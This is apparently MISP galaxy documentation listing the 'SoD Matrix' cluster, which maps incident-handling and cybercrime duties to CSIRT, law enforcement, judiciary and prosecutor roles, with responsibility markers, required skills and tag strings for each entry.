The tag is: *misp-galaxy:social-dark-patterns="Countdown timer / Limited time message"*

Table 6717. Table References

Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

SoD Matrix

SOD Matrix.

SoD Matrix is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Koen Van Impe

Delivering training - CSIRT - [R]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - CSIRT - [R]"*

Delivering training - CSIRT - [C]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - CSIRT - [C]"*

Delivering training - CSIRT - [I]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - CSIRT - [I]"*

Delivering training - CSIRT - [S]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - CSIRT - [S]"*

Delivering training - LEA - [R]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - LEA - [R]"*

Delivering training - LEA - [C]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - LEA - [C]"*

Delivering training - LEA - [I]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - LEA - [I]"*

Delivering training - LEA - [S]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - LEA - [S]"*

Delivering training - Judiciary - [R]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - Judiciary - [R]"*

Delivering training - Judiciary - [C]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - Judiciary - [C]"*

Delivering training - Judiciary - [I]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - Judiciary - [I]"*

Delivering training - Judiciary - [S]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - Judiciary - [S]"*

Delivering training - Prosecutors - [R]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - Prosecutors - [R]"*

Delivering training - Prosecutors - [C]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - Prosecutors - [C]"*

Delivering training - Prosecutors - [I]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - Prosecutors - [I]"*

Delivering training - Prosecutors - [S]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - Prosecutors - [S]"*

Participating in training - CSIRT - [R]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - CSIRT - [R]"*

Participating in training - CSIRT - [C]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - CSIRT - [C]"*

Participating in training - CSIRT - [I]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - CSIRT - [I]"*

Participating in training - CSIRT - [S]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - CSIRT - [S]"*

Participating in training - LEA - [R]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - LEA - [R]"*

Participating in training - LEA - [C]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - LEA - [C]"*

Participating in training - LEA - [I]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - LEA - [I]"*

Participating in training - LEA - [S]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - LEA - [S]"*

Participating in training - Judiciary - [R]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - Judiciary - [R]"*

Participating in training - Judiciary - [C]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - Judiciary - [C]"*

Participating in training - Judiciary - [I]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - Judiciary - [I]"*

Participating in training - Judiciary - [S]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - Judiciary - [S]"*

Participating in training - Prosecutors - [R]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - Prosecutors - [R]"*

Participating in training - Prosecutors - [C]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - Prosecutors - [C]"*

Participating in training - Prosecutors - [I]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - Prosecutors - [I]"*

Participating in training - Prosecutors - [S]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - Prosecutors - [S]"*

Collecting cyber threat intelligence - CSIRT - [R]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - CSIRT - [R]"*

Collecting cyber threat intelligence - CSIRT - [C]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - CSIRT - [C]"*

Collecting cyber threat intelligence - CSIRT - [I]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - CSIRT - [I]"*

Collecting cyber threat intelligence - CSIRT - [S]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - CSIRT - [S]"*

Collecting cyber threat intelligence - LEA - [R]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - LEA - [R]"*

Collecting cyber threat intelligence - LEA - [C]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - LEA - [C]"*

Collecting cyber threat intelligence - LEA - [I]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - LEA - [I]"*

Collecting cyber threat intelligence - LEA - [S]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - LEA - [S]"*

Collecting cyber threat intelligence - Prosecutors - [R]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - Prosecutors - [R]"*

Collecting cyber threat intelligence - Prosecutors - [C]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - Prosecutors - [C]"*

Collecting cyber threat intelligence - Prosecutors - [I]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - Prosecutors - [I]"*

Collecting cyber threat intelligence - Prosecutors - [S]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - Prosecutors - [S]"*

Analysis of vulnerabilities and threats - CSIRT - [R]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - CSIRT - [R]"*

Analysis of vulnerabilities and threats - CSIRT - [C]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - CSIRT - [C]"*

Analysis of vulnerabilities and threats - CSIRT - [I]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - CSIRT - [I]"*

Analysis of vulnerabilities and threats - CSIRT - [S]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - CSIRT - [S]"*

Analysis of vulnerabilities and threats - LEA - [R]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - LEA - [R]"*

Analysis of vulnerabilities and threats - LEA - [C]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - LEA - [C]"*

Analysis of vulnerabilities and threats - LEA - [I]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - LEA - [I]"*

Analysis of vulnerabilities and threats - LEA - [S]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - LEA - [S]"*

Analysis of vulnerabilities and threats - Prosecutors - [R]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - Prosecutors - [R]"*

Analysis of vulnerabilities and threats - Prosecutors - [C]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - Prosecutors - [C]"*

Analysis of vulnerabilities and threats - Prosecutors - [I]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - Prosecutors - [I]"*

Analysis of vulnerabilities and threats - Prosecutors - [S]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - Prosecutors - [S]"*

Issuing recommendations for new vulnerabilities and threats - CSIRT - [R]

Dealing with specific types of threats and vulnerabilities

The tag is: *misp-galaxy:sod-matrix="Issuing recommendations for new vulnerabilities and threats - CSIRT - [R]"*

Issuing recommendations for new vulnerabilities and threats - CSIRT - [C]

Dealing with specific types of threats and vulnerabilities

The tag is: *misp-galaxy:sod-matrix="Issuing recommendations for new vulnerabilities and threats - CSIRT - [C]"*

Issuing recommendations for new vulnerabilities and threats - CSIRT - [I]

Dealing with specific types of threats and vulnerabilities

The tag is: *misp-galaxy:sod-matrix="Issuing recommendations for new vulnerabilities and threats - CSIRT - [I]"*

Issuing recommendations for new vulnerabilities and threats - CSIRT - [S]

Dealing with specific types of threats and vulnerabilities

The tag is: *misp-galaxy:sod-matrix="Issuing recommendations for new vulnerabilities and threats - CSIRT - [S]"*

Advising potential victims on preventive measures against cybercrime - CSIRT - [R]

Raising awareness on preventive measures against cybercrime

The tag is: *misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - CSIRT - [R]"*

Advising potential victims on preventive measures against cybercrime - CSIRT - [C]

Raising awareness on preventive measures against cybercrime

The tag is: *misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - CSIRT - [C]"*

Advising potential victims on preventive measures against cybercrime - CSIRT - [I]

Raising awareness on preventive measures against cybercrime

The tag is: *misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - CSIRT - [I]"*

Advising potential victims on preventive measures against cybercrime - CSIRT - [S]

Raising awareness on preventive measures against cybercrime

The tag is: *misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - CSIRT - [S]"*

Advising potential victims on preventive measures against cybercrime - LEA - [R]

Raising awareness on preventive measures against cybercrime

The tag is: *misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - LEA - [R]"*

Advising potential victims on preventive measures against cybercrime - LEA - [C]

Raising awareness on preventive measures against cybercrime

The tag is: *misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - LEA - [C]"*

Advising potential victims on preventive measures against cybercrime - LEA - [I]

Raising awareness on preventive measures against cybercrime

The tag is: *misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - LEA - [I]"*

Advising potential victims on preventive measures against cybercrime - LEA - [S]

Raising awareness on preventive measures against cybercrime

The tag is: *misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - LEA - [S]"*

Discovery of the cyber security incident/crime - CSIRT - [R]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

The tag is: *misp-galaxy:sod-matrix="Discovery of the cyber security incident/crime - CSIRT - [R]"*

Discovery of the cyber security incident/crime - CSIRT - [C]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

The tag is: *misp-galaxy:sod-matrix="Discovery of the cyber security incident/crime - CSIRT - [C]"*

Discovery of the cyber security incident/crime - CSIRT - [I]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

The tag is: *misp-galaxy:sod-matrix="Discovery of the cyber security incident/crime - CSIRT - [I]"*

Discovery of the cyber security incident/crime - CSIRT - [S]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

The tag is: *misp-galaxy:sod-matrix="Discovery of the cyber security incident/crime - CSIRT - [S]"*

Discovery of the cyber security incident/crime - LEA - [R]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

The tag is: *misp-galaxy:sod-matrix="Discovery of the cyber security incident/crime - LEA - [R]"*

Discovery of the cyber security incident/crime - LEA - [C]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

The tag is: *misp-galaxy:sod-matrix="Discovery of the cyber security incident/crime - LEA - [C]"*

Discovery of the cyber security incident/crime - LEA - [I]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

The tag is: *misp-galaxy:sod-matrix="Discovery of the cyber security incident/crime - LEA - [I]"*

Discovery of the cyber security incident/crime - LEA - [S]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

The tag is: *misp-galaxy:sod-matrix="Discovery of the cyber security incident/crime - LEA - [S]"*

Identification and classification of the cyber security incident/crime - CSIRT - [R]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - CSIRT - [R]"*

Identification and classification of the cyber security incident/crime - CSIRT - [C]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - CSIRT - [C]"*

Identification and classification of the cyber security incident/crime - CSIRT - [I]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - CSIRT - [I]"*

Identification and classification of the cyber security incident/crime - CSIRT - [S]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security* *incident/crime - CSIRT - [S]"*

Identification and classification of the cyber security incident/crime - LEA - [R]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - LEA - [R]"*

Identification and classification of the cyber security incident/crime - LEA - [C]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - LEA - [C]"*

Identification and classification of the cyber security incident/crime - LEA - [I]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - LEA - [I]"*

Identification and classification of the cyber security incident/crime - LEA - [S]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - LEA - [S]"*

Identification and classification of the cyber security incident/crime - Prosecutors - [R]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - Prosecutors - [R]"*

Identification and classification of the cyber security incident/crime - Prosecutors - [C]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - Prosecutors - [C]"*

Identification and classification of the cyber security incident/crime - Prosecutors - [I]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - Prosecutors - [I]"*

Identification and classification of the cyber security incident/crime - Prosecutors - [S]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - Prosecutors - [S]"*

Identify the type and severity of the compromise - CSIRT - [R]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - CSIRT - [R]"*

Identify the type and severity of the compromise - CSIRT - [C]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - CSIRT - [C]"*

Identify the type and severity of the compromise - CSIRT - [I]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - CSIRT - [I]"*

Identify the type and severity of the compromise - CSIRT - [S]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - CSIRT - [S]"*

Identify the type and severity of the compromise - LEA - [R]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - LEA - [R]"*

Identify the type and severity of the compromise - LEA - [C]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - LEA - [C]"*

Identify the type and severity of the compromise - LEA - [I]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - LEA - [I]"*

Identify the type and severity of the compromise - LEA - [S]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - LEA - [S]"*

Identify the type and severity of the compromise - Prosecutors - [R]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - Prosecutors - [R]"*

Identify the type and severity of the compromise - Prosecutors - [C]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - Prosecutors - [C]"*

Identify the type and severity of the compromise - Prosecutors - [I]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - Prosecutors - [I]"*

Identify the type and severity of the compromise - Prosecutors - [S]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - Prosecutors - [S]"*

Evidence collection - CSIRT - [R]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - CSIRT - [R]"*

Evidence collection - CSIRT - [C]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - CSIRT - [C]"*

Evidence collection - CSIRT - [I]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - CSIRT - [I]"*

Evidence collection - CSIRT - [S]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - CSIRT - [S]"*

Evidence collection - LEA - [R]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - LEA - [R]"*

Evidence collection - LEA - [C]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - LEA - [C]"*

Evidence collection - LEA - [I]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - LEA - [I]"*

Evidence collection - LEA - [S]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - LEA - [S]"*

Evidence collection - Prosecutors - [R]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - Prosecutors - [R]"*

Evidence collection - Prosecutors - [C]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - Prosecutors - [C]"*

Evidence collection - Prosecutors - [I]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - Prosecutors - [I]"*

Evidence collection - Prosecutors - [S]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - Prosecutors - [S]"*

Providing technical expertise - CSIRT - [R]

Technical skills

The tag is: *misp-galaxy:sod-matrix="Providing technical expertise - CSIRT - [R]"*

Providing technical expertise - CSIRT - [C]

Technical skills

The tag is: *misp-galaxy:sod-matrix="Providing technical expertise - CSIRT - [C]"*

Providing technical expertise - CSIRT - [I]

Technical skills

The tag is: *misp-galaxy:sod-matrix="Providing technical expertise - CSIRT - [I]"*

Providing technical expertise - CSIRT - [S]

Technical skills

The tag is: *misp-galaxy:sod-matrix="Providing technical expertise - CSIRT - [S]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [R]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [R]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [C]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [C]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [I]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [I]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [S]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [S]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [R]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [R]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [C]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [C]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [I]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [I]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [S]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [S]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [R]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [R]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [C]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [C]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [I]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [I]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [S]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [S]"*

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [R]

Obligations and restriction on information sharing; communication channels

The tag is: *misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [R]"*

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [C]

Obligations and restriction on information sharing; communication channels

The tag is: *misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [C]"*

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [I]

Obligations and restriction on information sharing; communication channels

The tag is: *misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [I]"*

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [S]

Obligations and restriction on information sharing; communication channels

The tag is: *misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [S]"*

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [R]

Obligations and restriction on information sharing; communication channels

The tag is: *misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [R]"*

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [C]

Obligations and restriction on information sharing; communication channels

The tag is: *misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [C]"*

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [I]

Obligations and restriction on information sharing; communication channels

The tag is: *misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [I]"*

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [S]

Obligations and restriction on information sharing; communication channels

The tag is: *misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [S]"*

Duty to inform the victim of a cybercrime - CSIRT - [R]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - CSIRT - [R]"*

Duty to inform the victim of a cybercrime - CSIRT - [C]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - CSIRT - [C]"*

Duty to inform the victim of a cybercrime - CSIRT - [I]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - CSIRT - [I]"*

Duty to inform the victim of a cybercrime - CSIRT - [S]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - CSIRT - [S]"*

Duty to inform the victim of a cybercrime - LEA - [R]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - LEA - [R]"*

Duty to inform the victim of a cybercrime - LEA - [C]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - LEA - [C]"*

Duty to inform the victim of a cybercrime - LEA - [I]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - LEA - [I]"*

Duty to inform the victim of a cybercrime - LEA - [S]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - LEA - [S]"*

Duty to inform the victim of a cybercrime - Prosecutors - [R]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - Prosecutors - [R]"*

Duty to inform the victim of a cybercrime - Prosecutors - [C]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - Prosecutors - [C]"*

Duty to inform the victim of a cybercrime - Prosecutors - [I]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - Prosecutors - [I]"*

Duty to inform the victim of a cybercrime - Prosecutors - [S]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - Prosecutors - [S]"*

Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [R]

Obligations and rules for information sharing among communities

The tag is: *misp-galaxy:sod-matrix="Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [R]"*

Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [C]

Obligations and rules for information sharing among communities

The tag is: *misp-galaxy:sod-matrix="Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [C]"*

Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [I]

Obligations and rules for information sharing among communities

The tag is: *misp-galaxy:sod-matrix="Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [I]"*

Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [S]

Obligations and rules for information sharing among communities

The tag is: *misp-galaxy:sod-matrix="Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [S]"*

Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [R]

Communication skills; communication channel

The tag is: *misp-galaxy:sod-matrix="Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [R]"*

Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [C]

Communication skills; communication channel

The tag is: *misp-galaxy:sod-matrix="Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [C]"*

Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [I]

Communication skills; communication channel

The tag is: *misp-galaxy:sod-matrix="Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [I]"*

Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [S]

Communication skills; communication channel

The tag is: *misp-galaxy:sod-matrix="Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [S]"*

Mitigation of an incident - CSIRT - [R]

Well-prepared & well-organised to react promptly in an incident

The tag is: *misp-galaxy:sod-matrix="Mitigation of an incident - CSIRT - [R]"*

Mitigation of an incident - CSIRT - [C]

Well-prepared & well-organised to react promptly in an incident

The tag is: *misp-galaxy:sod-matrix="Mitigation of an incident - CSIRT - [C]"*

Mitigation of an incident - CSIRT - [I]

Well-prepared & well-organised to react promptly in an incident

The tag is: *misp-galaxy:sod-matrix="Mitigation of an incident - CSIRT - [I]"*

Mitigation of an incident - CSIRT - [S]

Well-prepared & well-organised to react promptly in an incident

